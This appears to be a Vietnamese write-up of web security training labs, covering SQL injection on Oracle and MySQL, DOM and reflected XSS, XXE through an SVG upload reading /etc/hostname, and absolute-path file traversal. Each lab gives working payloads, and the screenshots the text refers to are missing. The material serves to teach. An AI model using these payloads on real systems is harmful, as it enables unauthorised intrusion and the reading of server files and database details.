You are on page 1of 12

Lab: SQL injection attack, querying the database type and version on Oracle

- Kiểm tra lỗ hổng SQL injection tại tham số category, payload: /filter?category='
OR 1=1--:

Truy cập lab và sử dụng Burp Suite để chặn và sửa đổi yêu cầu đặt bộ lọc danh mục
sản phẩm
- Kiểm tra số cột dữ liệu trả về trong câu lệnh truy vấn, payload: /filter?category=' ORDER BY 2--
không xuất hiện Internal Server Errorvà payload: /filter?category=' ORDER BY 3-- xuất hiện
error

- Tìm kiếm cột dữ liệu tương thích với kiểu chuỗi, payload: /filter?category=' UNION SELECT
'column1', 'column2' FROM dual--

- Cả 2 cột dữ liệu đều có thể tận dụng để hiển thị thông tin khai thác. Thực hiện truy xuất phiên bản
cơ sở dữ liệu hiện tại, payload: /filter?category=' UNION SELECT banner, 'column2' FROM
v$version--, bài lab hoàn thành:
Lab: SQL injection attack, querying the database type and version on MySQL and
Microsoft

Kiểm tra lỗ hổng SQL injection tại tham số category, payload /filter?category=' OR 1=1-- và
/filter?category=' OR 1=1--+
->Như vậy hệ thống sử dụng hệ quản trị cơ sở dữ liệu MySQL
Kiểm tra số cột dữ liệu trả về trong câu truy vấn, payload: /filter?category=' UNION SELECT NULL,
NULL--+

Như vậy câu lệnh truy vấn trả về 2 cột dữ liệu. Tiếp theo tìm kiếm cột dữ liệu tương thích với kiểu chuỗi,
payload: /filter?category=' UNION SELECT 'column1', 'column2'--+
- Cả hai cột dữ liệu đều có thể tận dụng để hiển thị thông tin khai thác. Cuối cùng, truy xuất thông
tin phiên bản hiện tại của hệ quản trị cơ sở dữ liệu MySQL, payload: /filter?category=' UNION
SELECT @@version, NULL--+, bài lab hoàn thành:

Lab: DOM XSS in innerHTML sink using source location.search


- Kiểm tra chức năng Search với một chuỗi ngẫu nhiên:
- Chú ý đoạn script xử lý chuỗi tìm kiếm:
Biến query lấy giá trị tham số search từ URL qua hàm URLSearchQuery ().
Nếu biến query khác rỗng thì gọi hàm doSearchQuery(), sử dụng hàm
document.getElementById() để lấy phần tử HTML có id là 'searchMessage' và sau đó cập
nhật nội dung của phần tử đó thành giá trị của biến ‘query’

- Nhập thông tin sau vào hộp tìm kiếm: <img src=1 onerror=alert(1)>
- Giá trị của src thuộc tính không hợp lệ và gây ra lỗi. Điều này kích hoạt onerror trình xử
lý sự kiện, sau đó gọi hàm alert().
Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded
- Kiểm tra chức năng Search với một chuỗi ngẫu nhiên:

- Chú ý đoạn script xử lý chuỗi tìm kiếm:

+ var searchTerms :biến này được sử dụng để lưu trữ từ khóa tìm kiếm mà bạn muốn
bao gồm trong URL của hình ảnh.
+ document.write(): Phương thức document.write được sử dụng để động cơ ghi nội
dung vào tài liệu HTML,nó được sử dụng để tạo ra và chèn một phần tử <img> vào tài
liệu.

+ encodeURIComponent(searchTerms): Hàm JavaScript này được sử dụng để mã hóa


giá trị của biến searchTerms. Nó đảm bảo rằng từ khóa tìm kiếm được định dạng đúng
cho một URL và xử lý các ký tự đặc biệt một cách chính xác.

- Chèn thử như này 'onerror='alert("XSS")'' nhưng không hiệu quả

- Tận dụng dấu ngoặc không mã hóa để đóng chuỗi lại, thử đơn giản ';alert(1);'
Lab: Exploiting XXE( ) via image file upload

- Đính kèm hình đại diện vào nhận xét trong bài viết

- Khai thác lỗ hổng XXE vào hình ảnh upload để sau khi trang web thực hiện xử lý hình
ảnh
- tạo 1 file svg với nội dung
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM
"file:///etc/hostname" > ]><svg width="128px" height="128px"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
- Xem nội dung của /etc/hostname:

Hoàn thành bài lab

Lab: File path traversal, traversal sequences blocked with absolute path bypass
- Truy cập vào trang hiện thị ảnh

- Sửa đổi filename thành /etc/password rồi gửi yêu cầu

You might also like